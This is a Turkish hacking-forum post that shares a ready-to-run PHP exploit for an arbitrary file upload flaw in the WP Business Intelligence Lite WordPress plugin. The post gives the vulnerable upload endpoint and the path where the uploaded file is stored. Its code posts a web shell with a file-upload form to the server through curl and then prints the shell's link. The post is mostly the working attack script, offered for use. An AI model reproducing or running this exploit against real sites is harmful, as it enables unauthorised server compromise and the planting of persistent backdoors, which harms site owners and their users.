WordPress Business Intelligence Shell Upload

S4cuRiTy EneMy

Yaşayan Forum Efsanesi
24 Nis 2012
8,773
6
root@server
Merhaba arkadaşlar, bugün sizlere wordpress alt yapiya sahip bir sistem'de oluşturulan bir eklentideki açik zaafiyetini göstericegim daha dogrusu exploitini paylaşicagim


# Exploit Yazarı : Manish Kishan Tanwar

Eklenti açiginin keşfedildigi link

Kod:
http://127.0.0.1/wordpress/wp-content/plugins//wp-business-intelligence-lite//resources/open-flash-chart/php-ofc-library
/ofc_upload_image.php

Shell olarak bastıgınız zaman kaydedecegi link

Kod:
http://127.0.0.1/wordpress/wp-content/plugins//wp-business-intelligence-lite//resources/open-flash-chart/tmp-upload-imag
es/shell.php

ve exploitimiz

Kod:
<!--exploit code by Team INDISHELL(Manish Tanwar)-->
<?php

$web="http://127.0.0.1";
$shell="ica_shell.php";
$file="wp-content/plugins/wp-business-intelligence-lite/resources/open-flash-chart/php-ofc-library/ofc_upload_image
.php?name=";
$up="/wp-content/plugins/wp-business-intelligence-lite/resources/open-flash-chart/tmp-upload-images/";
$upshell=$up.$shell;
$data = '<?php
echo "<body bgcolor=black>";
echo "<p><div align=center><font color=#ff9933 font size=6> <3 INDI</font><font
color=white font size=6>SHELL</font><font color=green font size=6>=FTW <3
</font><p><form method=post enctype=multipart/form-data name=uploader >"; 
echo "<input type=file name=file size=50>&nbsp&nbsp&nbsp&nbsp<input type=submit name=sut
value=Upload></form>"; 
if( isset($_POST[\'sut\']) )
{
if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\']))
{ 
echo "<font color=red size=2 face=\"comic sans ms\">upload done :D<br><br>"; 
} 
else {
echo "<font color=red size=2 face=\"comic sans ms\">Upload failed :P<br>"; 
} 
} 
?>'; 
$link=$web;
$target = trim($link.$file.$shell);
$fshell=$link.$upshell;

$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');


$handle = curl_init();
curl_setopt($handle, CURLOPT_URL, $target);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
$source = curl_exec($handle);
curl_close($handle);
if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($fshell, 'r'))
{
echo "shell has been uploaded :D here is shell link<br><a href=
".$fshell.">".$fshell."</a>";
}
else
{
echo "sorry :( ";
}
?>
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.